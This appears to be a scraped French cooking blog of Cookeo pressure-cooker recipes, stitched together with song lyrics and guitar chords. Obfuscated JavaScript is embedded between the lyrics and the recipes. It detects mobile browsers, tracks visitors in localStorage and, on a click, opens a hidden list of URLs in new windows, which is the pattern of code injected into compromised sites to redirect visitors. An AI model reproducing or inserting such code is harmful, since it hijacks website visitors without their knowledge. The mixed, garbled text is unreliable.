Salade composée macédoine recette cookeo

Ingrédients 

400 g de macédoine congelées

4 pommes de terre

200 g de crevettes 

100 g de tomates cerises 

4 cuillères à soupe de mayonnaise

500 ml d’eau 

Préparation 

Epluchez et coupez les pommes de terre en morceaux 

Décortiquez les crevettes

Déposez les pommes de terre et la macédoine dans la cuve du cookeo

Versez les 500 ml d’eau 

Cuisson rapide ou sous pression programmez 5mn 

Quand la cuisson est terminée égouttez votre cuve.Passez les légumes sous l’eau froide

Placez la macédoine et les pommes de terre dans un saladier

Ajoutez dans le saladier les tomates cerises et les crevettes

Placez le saladier au frigo pendant au moins 2 bonnes heures

Sortez le saladier du frigo ,ajoutez la mayonnaise ,mélangez et servez

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Lardons en ratatouille recette cookeo

Ingrédients pour 4 personnes

200 g de lardons natures

2  tomates 

1 aubergine

1 courgette

100 g de riz

1 poivron jaune

100 ml de vin blanc

1 cube de bouillon de boeuf

500 ml d’eau

2 cuillères à soupe d’huile d’olive

2 cuillères à café de concentré de tomates

Ail semoule

Curry

Sel

Poivre

Préparation 

Epépinez et coupez le poivron en morceaux

Coupez les tomates en morceaux

Lavez et coupez la courgette en morceaux

Coupez l’aubergine en morceaux

Préparez un bouillon avec l’eau et le cube de bouillon de boeuf émietté

Mode dorer

Déposez les lardons dans la cuve  et faites les dorer

Ajoutez le riz, les morceaux de tomates ,courgettes, aubergines ;poivron.

Versez 100 ml de vin blanc et le bouillon préparé

Saupoudrez de curry et d’ail semoule

Salez et poivrez .

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée ajoutez le concentré de tomates et  servez chaud

[youtube https://www.youtube.com/watch?v=3eybtlSd--k?si=PQVqCkVDgte67poh&w=560&h=315]

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Pommes de terre frites extra crisp cookeo

Ingrédients

1,2 kg de pommes de terre

4 cuillères à soupe d’huile

Sel

Paprika

Préparation

Epluchez, passez sous l’eau les pommes de terre et coupez-les en morceaux 

Déposez les morceaux de pommes de terre dans la cuve du Cooke et versez les 4 cuillères à soupe d’huile . Mélangez

Déposez le couvercle extra crisp Cookeo sur la cuve.

Programmez 200° pendant 50 mn.

Toutes les 5 mn, ôtez le couvercle et mélangez les pommes de terre.

Reprogrammez du temps de cuisson si nécessaire

Quand la cuisson est terminée salez et poivrez selon votre convenance

[youtube https://www.youtube.com/watch?v=Ot9P0aj2q8M?si=wU5D5LsvuQ22NfOr&w=560&h=315]

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Riz lardons en ratatouille recette cookeo

Ingrédients

200 g de lardons natures

100 ml de vin banc 

100 g de riz

2 tomates 

1 aubergine

1 courgette 

1 poivron

2 cuillères à café de concentré de tomates

Curry

Sel

Poivre

500 ml d’eau 

1 cube de bouillon de boeuf

Ail semoule

Préparation

Coupez en morceaux les courgettes ,l’aubergine et les tomates.

Epépinez le poivron et coupez le en morceaux .

Préparez un bouillon avec 500 ml d’eau et un cube de bouillon de boeuf

Mode dorer 

Déposez les lardons dans la cuve .

Ajoutez les morceaux de poivron ,courgettes,aubergine ,tomates quand les lardons sont dorés.

Versez le bouillon préparé.

Ajoutez le vin blanc

Saupoudrez de curry et d’ail semoule

Versez le riz

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée ajoutez les cuillères de concentré de tomates et mélangez.

Servez chaud 

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Salade chou fleur recette cookeo

Ingrédients pour 4 personnes

1kg de chou-fleur frais ou congelés

Persil quelques feuilles ou persil déshydraté

Sel

Poivre

1 oignon rouge

1 cuillère à soupe de moutarde

4 cuillères à soupe d’huile

1 cuillère à soupe de vinaigre

400 ml d’eau

Préparation

Coupez l’oignon en morceaux

Découpez les fleurettes de chou-fleur.(si chou fleur frais)

Préparez votre vinaigrette avec le vinaigre, la cuillère à soupe de moutarde, les cuillères d’huile ,le sel ,le poivre, les feuilles de persil ou le persil déshydraté.

Déposez dans la cuve les fleurettes de chou-fleur 

Versez l’eau dans la cuve

Cuisson rapide ou sous pression

Programmez 5 mn

Egouttez les fleurettes de chou, placez-les dans un saladier et laissez refroidir à l’air libre.

Déposez le saladier dans le frigo pendant au moins 2 bonnes heures.

Sortez le saladier, versez la vinaigrette et mélangez

Servez froid

[youtube https://www.youtube.com/watch?v=0jPg109jIos?si=uK2R_PGRlccB8QE_&w=560&h=315]

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Même aux beaux jours je me sert de mon cookeo. alors je vous propose ici 3 recettes de salades 

Salade composée haricots verts 

Blé à la grecque 

Salade pâtes avocat

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

CAP2 BBH

LAM            MIM

A chaque actualité 

De tes sujets orientés AM EM

Moi j’en ai assez AM EM

De me faire baladerAM EM

Un jour une véritéAM EM

Le lendemain une autreAM EM

Tu n’a rien vérifiéAM EM

LAM           MIM          LAM

Dans ta suffisance tu te vautres

Toute la journée tu vas répétéAM EM

Au rythme de ton audience AM EM

Tes bobards synthétisésAM EM

LAM           MIM          LAM

Sans vie et sans nuance

REFRAIN 

LAM                 MIM

Je dédie cette chanson 

LAM                                              MIM

A ceux qui nous prennent pour des cons 

LAM                   MIM

Je dédie cette chanson 

LAM           MIM          LAM

A ceux qui pensent avoir raison

LAM                                  MIM

Digne digne digne digne ding don

LAM                                  MIM

Digne digne digne digne ding don 

Lam                                    MIM

Je n’aime pas les mensonges

Car tout cela me rongeAM EM

Je rêve d’un monde honnêteAM EM

Est-ce une drôle de quête ? AM EM

A décrier ces pièges empoisonnées AM EM

Loin des regards uniformisésAM EM

On me regarde on me critiqueAM EM

Un roi maudit que tu évitesAM EM

Je ne suis pas un fou à lierAM EM

Je veux juste me tenir deboutAM EM

Avec tous ceux qu’en ont assezAM EM

LAM           MIM          LAM

D’écouter ces néo-gourous 

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 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Salade macédoine express recette cookeo

Ingrédients pour 4 personnes

400 g de macédoine de légumes congelés

4 cuillères à soupe de mayonnaise

1 cuillère à café de vinaigre

2 tomates

2 oeufs

Sel

Poivre

500 ml d’eau

Préparation

Mélangez la mayonnaise et le vinaigre

Coupez les  tomates en morceaux

Déposez dans la cuve la macédoine de légumes et les 2 oeufs.

Versez 500 ml d’eau.

Salez et poivrez

Cuisson rapide ou sous pression

Programmez 10  mn

Quand la cuisson est terminée, égouttez la cuve et passez la sous l’eau.

Versez la macédoine de légumes dans un saladier.

Ajoutez la mayonnaise et mélangez

Ajoutez les tomates et mélangez 

Ecalez les oeufs et déposez les dans le saladier

Placez le saladier  au frigo au moins pour 2 bonnes heures.

Sortez le saladier du frigo.  coupez les oeufs et mélangez et servez 

[youtube https://www.youtube.com/watch?v=P2qzP68PCSA&w=560&h=315]

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Salade betteraves moules recette cookeo

Une recette cookeo de salade qui sort un peu de l’ordinaire. Pas trop riche en calories et facile à réaliser 

Ingrédients pour 4 personnes

2 betteraves cuites 

300 g de moules  décortiquées congelées cuites

1 yaourt nature brassé

1 échalote

1 cuillère à soupe de vinaigre

4 cuillères à soupe d’huile

1 cuillère  soupe de moutarde

Persil déshydraté

Sel

Poivre

Préparation

Déposez les moules encore congelées dans la cuve et versez 300 ml d’eau.

Cuisson rapide ou sous pression

Programmez 2 mn

Pendant la cuisson des moules préparez votre  sauce.

Déposez la cuillère de moutarde, de vinaigre, d’huile. Ajoutez le yaourt nature et mélangez l’ensemble des ingrédients.

Coupez et hachez votre échalote et incorporez-la à la sauce.

 Egouttez la cuve du cookeo et refroidissez les moules à l’eau froide 

Déposez les betteraves coupées en morceaux dans le saladier, ajoutez les moules et la sauce 

Mélangez et placez le saladier au frigo pendant au moins 2 heures.

Sortez le saladier et consommez froid 

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Lentilles steaks hachés recette cookeo

Ingrédients pour 4 personnes

4 steaks hachés

300 g de lentilles

100 ml de vin blanc

900 ml d’eau

1 petite boite de tomates pelées

Sel

Poivre

Curry

3 cuillères à café de concentré de tomates

2 cuillères à soupe d’huile d’olive

Préparation

Rincez les lentilles.

Coupez les steaks hachés en morceaux

Mode dorer

Faites revenir les morceaux de steaks hachés

Versez les lentilles dans la cuve.

Versez l’eau dans la cuve.

Ajoutez les tomates pelées.

Salez et poivrez.

Saupoudrez de curry

Cuisson rapide ou sous pression Programmez 1Omn

Quand la cuisson est terminée ajoutez le concentré de tomates , mélangez .

 servez chaud.

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Riz thon tomates recette cookeo

Ingrédients pour 4 personnes

300 g de riz

250 g de pavé de thon congelés

2 cuillères à café de concentré de tomates

2 cuillères à soupe d’huile d’olive

1 petite boite de tomates pelées

100 ml de vin blanc

Sel

Poivre

500 ml d’eau 

Curry

Préparation

Epépinez et coupez le poivron en morceaux 

Coupez l’oignon en morceaux 

Mode dorer 

Versez l’huile d’olive dans la cuve 

Faites revenir les oignons et les morceaux de thon dans la cuve du cookeo quand l’huile est chaude

Saupoudrez de curry

Ajoutez les morceaux de poivron 

Ajoutez les tomates pelées et le riz

Versez le vin blanc et l’eau  .        

Salez et poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée ajoutez le concentré de tomates,  Mélangez.

Servez chaud 

[youtube https://www.youtube.com/watch?v=JiqHtPBvxMA&w=560&h=315]

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Salade poulet curry recette cookeo

Ingrédients pour 4 à 6 personnes

240 g de riz

400 g d’escalope de poulet

2 cuillères à soupe d’huile pour le dorage

  2  avocats 

1 cuillère à soupe de vinaigre de cidre

3 cuillères à soupe d’huile d’olive 

1 cuillère à café de moutarde

1 cuillère à soupe de curry 

Sel

Poivre

500 ml d’eau

Préparation 

Coupez les escalopes de poulet en morceaux 

Coupez les avocats en morceaux 

Dans un bol mélangez le vinaigre , la moutarde, l’huile d’olive . Ajoutez la cuillère à soupe de curry   

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les morceaux d’escalope de poulet

Ajoutez le riz  et versez de l’eau dans la cuve

 Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz / 2

Quand la cuisson est terminée égouttez la cuve (si nécessaire) et  laissez refroidir le riz, et les morceaux de poulet à l’air libre dans un saladier 

Ajoutez dans le saladier les morceaux d’avocat

Déposez le saladier au frigo pendant au moins 4 heures.

Sortez le saladier ajoutez la vinaigrette  et mélangez

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SOL                                  MIM

 Y aura toujours des insoumis

                                  SIM

Et  puis des gens incompris

SOL                                  MIM[

Des mécontents des virulents

DO                                           SOL

Qui passe leur temps en marmonnant

SOL                                  MIM

C’est plus facile de dénigrer    

                                  SIM

Que de proposer d’argumenter

SOL                                  MIM

D’être positif et constructif

DO                                               SOL

Et d’emmerder tout l’assemblée

LAM                           RE

Suffirait  -il de presque rien

LAM                            RE

Que chacun y mette du sien

LAM                           RE

Pour que cela aille mieux demain

DO      RE               SOL

Arrêtes tu rêves mon copain

SOL                                 MIM

Dans tous les secteurs d’activité

                                  SIM

La gestion c’est la priorité

SOL                                  MIM

Quant aux problèmes humains

DO                               SOL

Tu repasseras demain

SOL                             MIM

A cout de budget révisés

                                                           SIM

C’est comme cela que cela doit marcher

SOL                       MIM

En dépit de l’humanité

DO                                               SOL

C’est du pognon d’économiser

NB : La musique et le texte sont protégées par la loi du copywrighting. Toute utilisation, reproduction commerciale ou non nécessite une autorisation de JP et Calou . Vous pouvez nous joindre à cet adresse mail epsbalzac@orange.fr. Nous restons à votre disposition pour toutes vos questions

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Pâtes champignons Boursin recette cookeo

Ingrédients pour 4 personnes

300 g de Farfalles

200 g de champignons de Paris congelés

400 g de poireaux 

1 cube de bouillon de bœuf

100 g  de Boursin ou équivalent

500 ml d’eau

Préparation

Préparez un bouillon avec 500 ml d’eau et un cube de boeuf émietté

Lavez les poireaux et coupez les en rondelles

Déposez les pâtes dans la cuve du cookeo

Ajoutez les champignons de Paris et les rondelles de poireaux

Versez un bouillon composé de 500 ml d’eau et d’un cube de bouillon émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de pâtes divisé par 2

Quand la cuisson est terminée ajoutez les cuillères à soupe de Boursin,mélangez et servez chaud .

[youtube https://www.youtube.com/watch?v=FtSd-Rh4Dvg&w=560&h=315]

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